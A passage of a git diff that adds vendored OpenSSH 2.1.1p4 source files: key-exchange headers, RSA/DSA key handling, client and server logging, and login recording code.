ctos; + unsigned char *keys[NKEYS]; + + for (i = 0; i < NKEYS; i++) + keys[i] = derive_key('A'+i, k->we_need, hash, shared_secret); + + for (mode = 0; mode < MODE_MAX; mode++) { + ctos = (!k->server && mode == MODE_OUT) || (k->server && mode == MODE_IN); + k->enc[mode].iv = keys[ctos ? 0 : 1]; + k->enc[mode].key = keys[ctos ? 2 : 3]; + k->mac[mode].key = keys[ctos ? 4 : 5]; + } + return 0; +} diff --git a/other/openssh-2.1.1p4/kex.h b/other/openssh-2.1.1p4/kex.h new file mode 100644 index 0000000..7e5c670 --- /dev/null +++ b/other/openssh-2.1.1p4/kex.h @@ -0,0 +1,117 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef KEX_H +#define KEX_H + +#define KEX_DH1 "diffie-hellman-group1-sha1" +#define KEX_DSS "ssh-dss" + +enum kex_init_proposals { + PROPOSAL_KEX_ALGS, + PROPOSAL_SERVER_HOST_KEY_ALGS, + PROPOSAL_ENC_ALGS_CTOS, + PROPOSAL_ENC_ALGS_STOC, + PROPOSAL_MAC_ALGS_CTOS, + PROPOSAL_MAC_ALGS_STOC, + PROPOSAL_COMP_ALGS_CTOS, + PROPOSAL_COMP_ALGS_STOC, + PROPOSAL_LANG_CTOS, + PROPOSAL_LANG_STOC, + PROPOSAL_MAX +}; + +enum kex_modes { + MODE_IN, + MODE_OUT, + MODE_MAX +}; + +typedef struct Kex Kex; +typedef struct Mac Mac; +typedef struct Comp Comp; +typedef struct Enc Enc; + +struct Enc { + int type; + int enabled; + int block_size; + unsigned char *key; + unsigned char *iv; + int key_len; + int iv_len; + char *name; +}; +struct Mac { + EVP_MD *md; + int enabled; + int mac_len; + unsigned char *key; + int key_len; + char *name; +}; +struct Comp { + int type; + int enabled; + char *name; +}; +struct Kex { + Enc enc [MODE_MAX]; + Mac mac [MODE_MAX]; + Comp comp[MODE_MAX]; + int we_need; + int server; + char *name; + char *hostkeyalg; +}; + +Buffer *kex_init(char *myproposal[PROPOSAL_MAX]); +void +kex_exchange_kexinit( + Buffer *my_kexinit, Buffer *peer_kexint, + char *peer_proposal[PROPOSAL_MAX]); +Kex * +kex_choose_conf(char *cprop[PROPOSAL_MAX], + char *sprop[PROPOSAL_MAX], int server); +int kex_derive_keys(Kex *k, unsigned char *hash, BIGNUM *shared_secret); +void packet_set_kex(Kex *k); +int dh_pub_is_valid(DH *dh, BIGNUM *dh_pub); +DH *dh_new_group1(); + +unsigned char * +kex_hash( + char *client_version_string, + char *server_version_string, + char *ckexinit, int ckexinitlen, + char *skexinit, int skexinitlen, + char *serverhostkeyblob, int sbloblen, + BIGNUM *client_dh_pub, + BIGNUM *server_dh_pub, + BIGNUM *shared_secret); + +#endif diff --git a/other/openssh-2.1.1p4/key.c b/other/openssh-2.1.1p4/key.c new file mode 100644 index 0000000..764f1f2 --- /dev/null +++ b/other/openssh-2.1.1p4/key.c @@ -0,0 +1,337 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +/* + * read_bignum(): + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + */ + +#include "includes.h" +#include "ssh.h" +#include +#include +#include +#include "xmalloc.h" +#include "key.h" +#include "dsa.h" +#include "uuencode.h" + +RCSID("$OpenBSD: key.c,v 1.9 2000/06/22 23:55:00 djm Exp $"); + +#define SSH_DSS "ssh-dss" + +Key * +key_new(int type) +{ + Key *k; + RSA *rsa; + DSA *dsa; + k = xmalloc(sizeof(*k)); + k->type = type; + k->dsa = NULL; + k->rsa = NULL; + switch (k->type) { + case KEY_RSA: + rsa = RSA_new(); + rsa->n = BN_new(); + rsa->e = BN_new(); + k->rsa = rsa; + break; + case KEY_DSA: + dsa = DSA_new(); + dsa->p = BN_new(); + dsa->q = BN_new(); + dsa->g = BN_new(); + dsa->pub_key = BN_new(); + k->dsa = dsa; + break; + case KEY_EMPTY: + break; + default: + fatal("key_new: bad key type %d", k->type); + break; + } + return k; +} +void +key_free(Key *k) +{ + switch (k->type) { + case KEY_RSA: + if (k->rsa != NULL) + RSA_free(k->rsa); + k->rsa = NULL; + break; + case KEY_DSA: + if (k->dsa != NULL) + DSA_free(k->dsa); + k->dsa = NULL; + break; + default: + fatal("key_free: bad key type %d", k->type); + break; + } + xfree(k); +} +int +key_equal(Key *a, Key *b) +{ + if (a == NULL || b == NULL || a->type != b->type) + return 0; + switch (a->type) { + case KEY_RSA: + return a->rsa != NULL && b->rsa != NULL && + BN_cmp(a->rsa->e, b->rsa->e) == 0 && + BN_cmp(a->rsa->n, b->rsa->n) == 0; + break; + case KEY_DSA: + return a->dsa != NULL && b->dsa != NULL && + BN_cmp(a->dsa->p, b->dsa->p) == 0 && + BN_cmp(a->dsa->q, b->dsa->q) == 0 && + BN_cmp(a->dsa->g, b->dsa->g) == 0 && + BN_cmp(a->dsa->pub_key, b->dsa->pub_key) == 0; + break; + default: + fatal("key_equal: bad key type %d", a->type); + break; + } + return 0; +} + +/* + * Generate key fingerprint in ascii format. + * Based on ideas and code from Bjoern Groenvall + */ +char * +key_fingerprint(Key *k) +{ + static char retval[(EVP_MAX_MD_SIZE+1)*3]; + unsigned char *blob = NULL; + int len = 0; + int nlen, elen; + + switch (k->type) { + case KEY_RSA: + nlen = BN_num_bytes(k->rsa->n); + elen = BN_num_bytes(k->rsa->e); + len = nlen + elen; + blob = xmalloc(len); + BN_bn2bin(k->rsa->n, blob); + BN_bn2bin(k->rsa->e, blob + nlen); + break; + case KEY_DSA: + dsa_make_key_blob(k, &blob, &len); + break; + default: + fatal("key_fingerprint: bad key type %d", k->type); + break; + } + retval[0] = '\0'; + + if (blob != NULL) { + int i; + unsigned char digest[EVP_MAX_MD_SIZE]; + EVP_MD *md = EVP_md5(); + EVP_MD_CTX ctx; + EVP_DigestInit(&ctx, md); + EVP_DigestUpdate(&ctx, blob, len); + EVP_DigestFinal(&ctx, digest, NULL); + for(i = 0; i < md->md_size; i++) { + char hex[4]; + snprintf(hex, sizeof(hex), "%02x:", digest[i]); + strlcat(retval, hex, sizeof(retval)); + } + retval[strlen(retval) - 1] = '\0'; + memset(blob, 0, len); + xfree(blob); + } + return retval; +} + +/* + * Reads a multiple-precision integer in decimal from the buffer, and advances + * the pointer. The integer must already be initialized. This function is + * permitted to modify the buffer. This leaves *cpp to point just beyond the + * last processed (and maybe modified) character. Note that this may modify + * the buffer containing the number. + */ +int +read_bignum(char **cpp, BIGNUM * value) +{ + char *cp = *cpp; + int old; + + /* Skip any leading whitespace. */ + for (; *cp == ' ' || *cp == '\t'; cp++) + ; + + /* Check that it begins with a decimal digit. */ + if (*cp < '0' || *cp > '9') + return 0; + + /* Save starting position. */ + *cpp = cp; + + /* Move forward until all decimal digits skipped. */ + for (; *cp >= '0' && *cp <= '9'; cp++) + ; + + /* Save the old terminating character, and replace it by \0. */ + old = *cp; + *cp = 0; + + /* Parse the number. */ + if (BN_dec2bn(&value, *cpp) == 0) + return 0; + + /* Restore old terminating character. */ + *cp = old; + + /* Move beyond the number and return success. */ + *cpp = cp; + return 1; +} +int +write_bignum(FILE *f, BIGNUM *num) +{ + char *buf = BN_bn2dec(num); + if (buf == NULL) { + error("write_bignum: BN_bn2dec() failed"); + return 0; + } + fprintf(f, " %s", buf); + free(buf); + return 1; +} +unsigned int +key_read(Key *ret, char **cpp) +{ + Key *k; + unsigned int bits = 0; + char *cp; + int len, n; + unsigned char *blob; + + cp = *cpp; + + switch(ret->type) { + case KEY_RSA: + /* Get number of bits. */ + if (*cp < '0' || *cp > '9') + return 0; /* Bad bit count... */ + for (bits = 0; *cp >= '0' && *cp <= '9'; cp++) + bits = 10 * bits + *cp - '0'; + if (bits == 0) + return 0; + *cpp = cp; + /* Get public exponent, public modulus. */ + if (!read_bignum(cpp, ret->rsa->e)) + return 0; + if (!read_bignum(cpp, ret->rsa->n)) + return 0; + break; + case KEY_DSA: + if (strncmp(cp, SSH_DSS " ", 7) != 0) + return 0; + cp += 7; + len = 2*strlen(cp); + blob = xmalloc(len); + n = uudecode(cp, blob, len); + if (n < 0) { + error("key_read: uudecode %s failed", cp); + return 0; + } + k = dsa_key_from_blob(blob, n); + if (k == NULL) { + error("key_read: dsa_key_from_blob %s failed", cp); + return 0; + } + xfree(blob); + if (ret->dsa != NULL) + DSA_free(ret->dsa); + ret->dsa = k->dsa; + k->dsa = NULL; + key_free(k); + bits = BN_num_bits(ret->dsa->p); + /* advance cp: skip whitespace and data */ + while (*cp == ' ' || *cp == '\t') + cp++; + while (*cp != '\0' && *cp != ' ' && *cp != '\t') + cp++; + *cpp = cp; + break; + default: + fatal("key_read: bad key type: %d", ret->type); + break; + } + return bits; +} +int +key_write(Key *key, FILE *f) +{ + int success = 0; + unsigned int bits = 0; + + if (key->type == KEY_RSA && key->rsa != NULL) { + /* size of modulus 'n' */ + bits = BN_num_bits(key->rsa->n); + fprintf(f, "%u", bits); + if (write_bignum(f, key->rsa->e) && + write_bignum(f, key->rsa->n)) { + success = 1; + } else { + error("key_write: failed for RSA key"); + } + } else if (key->type == KEY_DSA && key->dsa != NULL) { + int len, n; + unsigned char *blob, *uu; + dsa_make_key_blob(key, &blob, &len); + uu = xmalloc(2*len); + n = uuencode(blob, len, uu, 2*len); + if (n > 0) { + fprintf(f, "%s %s", SSH_DSS, uu); + success = 1; + } + xfree(blob); + xfree(uu); + } + return success; +} +char * +key_type(Key *k) +{ + switch (k->type) { + case KEY_RSA: + return "RSA"; + break; + case KEY_DSA: + return "DSA"; + break; + } + return "unknown"; +} diff --git a/other/openssh-2.1.1p4/key.h b/other/openssh-2.1.1p4/key.h new file mode 100644 index 0000000..ed3f770 --- /dev/null +++ b/other/openssh-2.1.1p4/key.h @@ -0,0 +1,25 @@ +#ifndef KEY_H +#define KEY_H + +typedef struct Key Key; +enum types { + KEY_RSA, + KEY_DSA, + KEY_EMPTY +}; +struct Key { + int type; + RSA *rsa; + DSA *dsa; +}; + +Key *key_new(int type); +void key_free(Key *k); +int key_equal(Key *a, Key *b); +char *key_fingerprint(Key *k); +char *key_type(Key *k); +int key_write(Key *key, FILE *f); +unsigned int +key_read(Key *key, char **cpp); + +#endif diff --git a/other/openssh-2.1.1p4/log-client.c b/other/openssh-2.1.1p4/log-client.c new file mode 100644 index 0000000..7e9fd61 --- /dev/null +++ b/other/openssh-2.1.1p4/log-client.c @@ -0,0 +1,62 @@ +/* + * + * log-client.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Mon Mar 20 21:13:40 1995 ylo + * + * Client-side versions of debug(), log(), etc. These print to stderr. + * This is a stripped down version of log-server.c. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: log-client.c,v 1.9 2000/06/20 01:39:42 markus Exp $"); + +#include "xmalloc.h" +#include "ssh.h" + +static LogLevel log_level = SYSLOG_LEVEL_INFO; + +/* Initialize the log. + * av0 program name (should be argv[0]) + * level logging level + */ + +void +log_init(char *av0, LogLevel level, SyslogFacility ignored1, int ignored2) +{ + switch (level) { + case SYSLOG_LEVEL_QUIET: + case SYSLOG_LEVEL_ERROR: + case SYSLOG_LEVEL_FATAL: + case SYSLOG_LEVEL_INFO: + case SYSLOG_LEVEL_VERBOSE: + case SYSLOG_LEVEL_DEBUG: + log_level = level; + break; + default: + /* unchanged */ + break; + } +} + +#define MSGBUFSIZ 1024 + +void +do_log(LogLevel level, const char *fmt, va_list args) +{ + char msgbuf[MSGBUFSIZ]; + + if (level > log_level) + return; + if (level == SYSLOG_LEVEL_DEBUG) + fprintf(stderr, "debug: "); + vsnprintf(msgbuf, sizeof(msgbuf), fmt, args); + fprintf(stderr, "%s", msgbuf); + fprintf(stderr, "\r\n"); +} diff --git a/other/openssh-2.1.1p4/log-server.c b/other/openssh-2.1.1p4/log-server.c new file mode 100644 index 0000000..9db77d9 --- /dev/null +++ b/other/openssh-2.1.1p4/log-server.c @@ -0,0 +1,147 @@ +/* + * + * log-server.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Mon Mar 20 21:19:30 1995 ylo + * + * Server-side versions of debug(), log(), etc. These normally send the output + * to the system log. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: log-server.c,v 1.15 2000/06/20 01:39:42 markus Exp $"); + +#include +#include "packet.h" +#include "xmalloc.h" +#include "ssh.h" + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else /* HAVE___PROGNAME */ +static const char *__progname = "sshd"; +#endif /* HAVE___PROGNAME */ + +static LogLevel log_level = SYSLOG_LEVEL_INFO; +static int log_on_stderr = 0; +static int log_facility = LOG_AUTH; + +/* Initialize the log. + * av0 program name (should be argv[0]) + * on_stderr print also on stderr + * level logging level + */ + +void +log_init(char *av0, LogLevel level, SyslogFacility facility, int on_stderr) +{ + switch (level) { + case SYSLOG_LEVEL_QUIET: + case SYSLOG_LEVEL_ERROR: + case SYSLOG_LEVEL_FATAL: + case SYSLOG_LEVEL_INFO: + case SYSLOG_LEVEL_VERBOSE: + case SYSLOG_LEVEL_DEBUG: + log_level = level; + break; + default: + fprintf(stderr, "Unrecognized internal syslog level code %d\n", + (int) level); + exit(1); + } + switch (facility) { + case SYSLOG_FACILITY_DAEMON: + log_facility = LOG_DAEMON; + break; + case SYSLOG_FACILITY_USER: + log_facility = LOG_USER; + break; + case SYSLOG_FACILITY_AUTH: + log_facility = LOG_AUTH; + break; + case SYSLOG_FACILITY_LOCAL0: + log_facility = LOG_LOCAL0; + break; + case SYSLOG_FACILITY_LOCAL1: + log_facility = LOG_LOCAL1; + break; + case SYSLOG_FACILITY_LOCAL2: + log_facility = LOG_LOCAL2; + break; + case SYSLOG_FACILITY_LOCAL3: + log_facility = LOG_LOCAL3; + break; + case SYSLOG_FACILITY_LOCAL4: + log_facility = LOG_LOCAL4; + break; + case SYSLOG_FACILITY_LOCAL5: + log_facility = LOG_LOCAL5; + break; + case SYSLOG_FACILITY_LOCAL6: + log_facility = LOG_LOCAL6; + break; + case SYSLOG_FACILITY_LOCAL7: + log_facility = LOG_LOCAL7; + break; + default: + fprintf(stderr, "Unrecognized internal syslog facility code %d\n", + (int) facility); + exit(1); + } + log_on_stderr = on_stderr; +} + +#define MSGBUFSIZ 1024 + +void +do_log(LogLevel level, const char *fmt, va_list args) +{ + char msgbuf[MSGBUFSIZ]; + char fmtbuf[MSGBUFSIZ]; + char *txt = NULL; + int pri = LOG_INFO; + + if (level > log_level) + return; + switch (level) { + case SYSLOG_LEVEL_ERROR: + txt = "error"; + pri = LOG_ERR; + break; + case SYSLOG_LEVEL_FATAL: + txt = "fatal"; + pri = LOG_ERR; + break; + case SYSLOG_LEVEL_INFO: + case SYSLOG_LEVEL_VERBOSE: + pri = LOG_INFO; + break; + case SYSLOG_LEVEL_DEBUG: + txt = "debug"; + pri = LOG_DEBUG; + break; + default: + txt = "internal error"; + pri = LOG_ERR; + break; + } + if (txt != NULL) { + snprintf(fmtbuf, sizeof(fmtbuf), "%s: %s", txt, fmt); + vsnprintf(msgbuf, sizeof(msgbuf), fmtbuf, args); + } else { + vsnprintf(msgbuf, sizeof(msgbuf), fmt, args); + } + if (log_on_stderr) { + fprintf(stderr, "%s\n", msgbuf); + } else { + openlog(__progname, LOG_PID, log_facility); + syslog(pri, "%.500s", msgbuf); + closelog(); + } +} diff --git a/other/openssh-2.1.1p4/log.c b/other/openssh-2.1.1p4/log.c new file mode 100644 index 0000000..03038b2 --- /dev/null +++ b/other/openssh-2.1.1p4/log.c @@ -0,0 +1,184 @@ +/* + * Shared versions of debug(), log(), etc. + */ + +#include "includes.h" +RCSID("$OpenBSD: log.c,v 1.7 2000/01/04 00:07:59 markus Exp $"); + +#include "ssh.h" +#include "xmalloc.h" + +/* Fatal messages. This function never returns. */ + +void +fatal(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_FATAL, fmt, args); + va_end(args); + fatal_cleanup(); +} + +/* Error messages that should be logged. */ + +void +error(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_ERROR, fmt, args); + va_end(args); +} + +/* Log this message (information that usually should go to the log). */ + +void +log(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_INFO, fmt, args); + va_end(args); +} + +/* More detailed messages (information that does not need to go to the log). */ + +void +verbose(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_VERBOSE, fmt, args); + va_end(args); +} + +/* Debugging messages that should not be logged during normal operation. */ + +void +debug(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_DEBUG, fmt, args); + va_end(args); +} + +/* Fatal cleanup */ + +struct fatal_cleanup { + struct fatal_cleanup *next; + void (*proc) (void *); + void *context; +}; + +static struct fatal_cleanup *fatal_cleanups = NULL; + +/* Registers a cleanup function to be called by fatal() before exiting. */ + +void +fatal_add_cleanup(void (*proc) (void *), void *context) +{ + struct fatal_cleanup *cu; + + cu = xmalloc(sizeof(*cu)); + cu->proc = proc; + cu->context = context; + cu->next = fatal_cleanups; + fatal_cleanups = cu; +} + +/* Removes a cleanup frunction to be called at fatal(). */ + +void +fatal_remove_cleanup(void (*proc) (void *context), void *context) +{ + struct fatal_cleanup **cup, *cu; + + for (cup = &fatal_cleanups; *cup; cup = &cu->next) { + cu = *cup; + if (cu->proc == proc && cu->context == context) { + *cup = cu->next; + xfree(cu); + return; + } + } + fatal("fatal_remove_cleanup: no such cleanup function: 0x%lx 0x%lx\n", + (unsigned long) proc, (unsigned long) context); +} + +/* Cleanup and exit */ +void +fatal_cleanup(void) +{ + struct fatal_cleanup *cu, *next_cu; + static int called = 0; + + if (called) + exit(255); + called = 1; + /* Call cleanup functions. */ + for (cu = fatal_cleanups; cu; cu = next_cu) { + next_cu = cu->next; + debug("Calling cleanup 0x%lx(0x%lx)", + (unsigned long) cu->proc, (unsigned long) cu->context); + (*cu->proc) (cu->context); + } + exit(255); +} + +/* textual representation of log-facilities/levels */ + +static struct { + const char *name; + SyslogFacility val; +} log_facilities[] = { + { "DAEMON", SYSLOG_FACILITY_DAEMON }, + { "USER", SYSLOG_FACILITY_USER }, + { "AUTH", SYSLOG_FACILITY_AUTH }, + { "LOCAL0", SYSLOG_FACILITY_LOCAL0 }, + { "LOCAL1", SYSLOG_FACILITY_LOCAL1 }, + { "LOCAL2", SYSLOG_FACILITY_LOCAL2 }, + { "LOCAL3", SYSLOG_FACILITY_LOCAL3 }, + { "LOCAL4", SYSLOG_FACILITY_LOCAL4 }, + { "LOCAL5", SYSLOG_FACILITY_LOCAL5 }, + { "LOCAL6", SYSLOG_FACILITY_LOCAL6 }, + { "LOCAL7", SYSLOG_FACILITY_LOCAL7 }, + { NULL, 0 } +}; + +static struct { + const char *name; + LogLevel val; +} log_levels[] = +{ + { "QUIET", SYSLOG_LEVEL_QUIET }, + { "FATAL", SYSLOG_LEVEL_FATAL }, + { "ERROR", SYSLOG_LEVEL_ERROR }, + { "INFO", SYSLOG_LEVEL_INFO }, + { "VERBOSE", SYSLOG_LEVEL_VERBOSE }, + { "DEBUG", SYSLOG_LEVEL_DEBUG }, + { NULL, 0 } +}; + +SyslogFacility +log_facility_number(char *name) +{ + int i; + if (name != NULL) + for (i = 0; log_facilities[i].name; i++) + if (strcasecmp(log_facilities[i].name, name) == 0) + return log_facilities[i].val; + return (SyslogFacility) - 1; +} + +LogLevel +log_level_number(char *name) +{ + int i; + if (name != NULL) + for (i = 0; log_levels[i].name; i++) + if (strcasecmp(log_levels[i].name, name) == 0) + return log_levels[i].val; + return (LogLevel) - 1; +} diff --git a/other/openssh-2.1.1p4/login.c b/other/openssh-2.1.1p4/login.c new file mode 100644 index 0000000..c507218 --- /dev/null +++ b/other/openssh-2.1.1p4/login.c @@ -0,0 +1,69 @@ +/* + * + * login.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Fri Mar 24 14:51:08 1995 ylo + * + * This file performs some of the things login(1) normally does. We cannot + * easily use something like login -p -h host -f user, because there are + * several different logins around, and it is hard to determined what kind of + * login the current system has. Also, we want to be able to execute commands + * on a tty. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: login.c,v 1.14 2000/06/20 01:39:42 markus Exp $"); + +#include "loginrec.h" + +/* + * Returns the time when the user last logged in. Returns 0 if the + * information is not available. This must be called before record_login. + * The host the user logged in from will be returned in buf. + */ + +unsigned long +get_last_login_time(uid_t uid, const char *logname, + char *buf, unsigned int bufsize) +{ + struct logininfo li; + + login_get_lastlog(&li, uid); + strlcpy(buf, li.hostname, bufsize); + return li.tv_sec; +} + +/* + * Records that the user has logged in. I these parts of operating systems + * were more standardized. + */ + +void +record_login(pid_t pid, const char *ttyname, const char *user, uid_t uid, + const char *host, struct sockaddr * addr) +{ + struct logininfo *li; + + li = login_alloc_entry(pid, user, host, ttyname); + login_set_addr(li, addr, sizeof(struct sockaddr)); + login_login(li); + login_free_entry(li); +} + +/* Records that the user has logged out. */ + +void +record_logout(pid_t pid, const char *ttyname) +{ + struct logininfo *li; + + li = login_alloc_entry(pid, NULL, NULL, ttyname); + login_logout(li); + login_free_entry(li); +} diff --git a/other/openssh-2.1.1p4/loginrec.c b/other/openssh-2.1.1p4/loginrec.c new file mode 100644 index 0000000..8b82fa2 --- /dev/null +++ b/other/openssh-2.1.1p4/loginrec.c @@ -0,0 +1,1434 @@ +/* + * Copyright (c) 2000 Andre Lucas. All rights reserved. + * Portions copyright (c) 1998 Todd C. Miller + * Portions copyright (c) 1996 Jason Downs + * Portions copyright (c) 1996 Theo de Raadt + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/** + ** loginrec.c: platform-independent login recording and lastlog retrieval + **/ + +/* + The new login code explained + ============================ + + This code attempts to provide a common interface to login recording + (utmp and friends) and last login time retrieval. + + Its primary means of achieving this is to use 'struct logininfo', a + union of all the useful fields in the various different types of + system login record structures one finds on UNIX variants. + + We depend on autoconf to define which recording methods are to be + used, and which fields are contained in the relevant data structures + on the local system. Many C preprocessor symbols affect which code + gets compiled here. + + The code is designed to make it easy to modify a particular + recording method, without affecting other methods nor requiring so + many nested conditional compilation blocks as were commonplace in + the old code. + + For login recording, we try to use the local system's libraries as + these are clearly most likely to work correctly. For utmp systems + this usually means login() and logout() or setutent() etc., probably + in libutil, along with logwtmp() etc. On these systems, we fall back + to writing the files directly if we have to, though this method + requires very thorough testing so we do not corrupt local auditing + information. These files and their access methods are very system + specific indeed. + + For utmpx systems, the corresponding library functions are + setutxent() etc. To the author's knowledge, all utmpx systems have + these library functions and so no direct write is attempted. If such + a system exists and needs support, direct analogues of the [uw]tmp + code should suffice. + + Retrieving the time of last login ('lastlog') is in some ways even + more problemmatic than login recording. Some systems provide a + simple table of all users which we seek based on uid and retrieve a + relatively standard structure. Others record the same information in + a directory with a separate file, and others don't record the + information separately at all. For systems in the latter category, + we look backwards in the wtmp or wtmpx file for the last login entry + for our user. Naturally this is slower and on busy systems could + incur a significant performance penalty. + + Calling the new code + -------------------- + + In OpenSSH all login recording and retrieval is performed in + login.c. Here you'll find working examples. Also, in the logintest.c + program there are more examples. + + Internal handler calling method + ------------------------------- + + When a call is made to login_login() or login_logout(), both + routines set a struct logininfo flag defining which action (log in, + or log out) is to be taken. They both then call login_write(), which + calls whichever of the many structure-specific handlers autoconf + selects for the local system. + + The handlers themselves handle system data structure specifics. Both + struct utmp and struct utmpx have utility functions (see + construct_utmp*()) to try to make it simpler to add extra systems + that introduce new features to either structure. + + While it may seem terribly wasteful to replicate so much similar + code for each method, experience has shown that maintaining code to + write both struct utmp and utmpx in one function, whilst maintaining + support for all systems whether they have library support or not, is + a difficult and time-consuming task. + + Lastlog support proceeds similarly. Functions login_get_lastlog() + (and its OpenSSH-tuned friend login_get_lastlog_time()) call + getlast_entry(), which tries one of three methods to find the last + login time. It uses local system lastlog support if it can, + otherwise it tries wtmp or wtmpx before giving up and returning 0, + meaning "tilt". + + Maintenance + ----------- + + In many cases it's possible to tweak autoconf to select the correct + methods for a particular platform, either by improving the detection + code (best), or by presetting DISABLE_ or CONF__FILE + symbols for the platform. + + Use logintest to check which symbols are defined before modifying + configure.in and loginrec.c. (You have to build logintest yourself + with 'make logintest' as it's not built by default.) + + Otherwise, patches to the specific method(s) are very helpful! + +*/ + +/** + ** TODO: + ** homegrown ttyslot()q + ** test, test, test + ** + ** Platform status: + ** ---------------- + ** + ** Known good: + ** Linux (Redhat 6.2, need more variants) + ** HP-UX 10.20 (gcc only) + ** IRIX + ** + ** Testing required: Please send reports! + ** Solaris + ** NetBSD + ** HP-UX 11 + ** AIX + ** + ** Platforms with known problems: + ** NeXT + ** + **/ + +#include "includes.h" + +#include "ssh.h" +#include "xmalloc.h" +#include "loginrec.h" + +RCSID("$Id: loginrec.c,v 1.17 2000/07/11 02:15:54 djm Exp $"); + +/** + ** prototypes for helper functions in this file + **/ + +#if HAVE_UTMP_H +void set_utmp_time(struct logininfo *li, struct utmp *ut); +void construct_utmp(struct logininfo *li, struct utmp *ut); +#endif + +#ifdef HAVE_UTMPX_H +void set_utmpx_time(struct logininfo *li, struct utmpx *ut); +void construct_utmpx(struct logininfo *li, struct utmpx *ut); 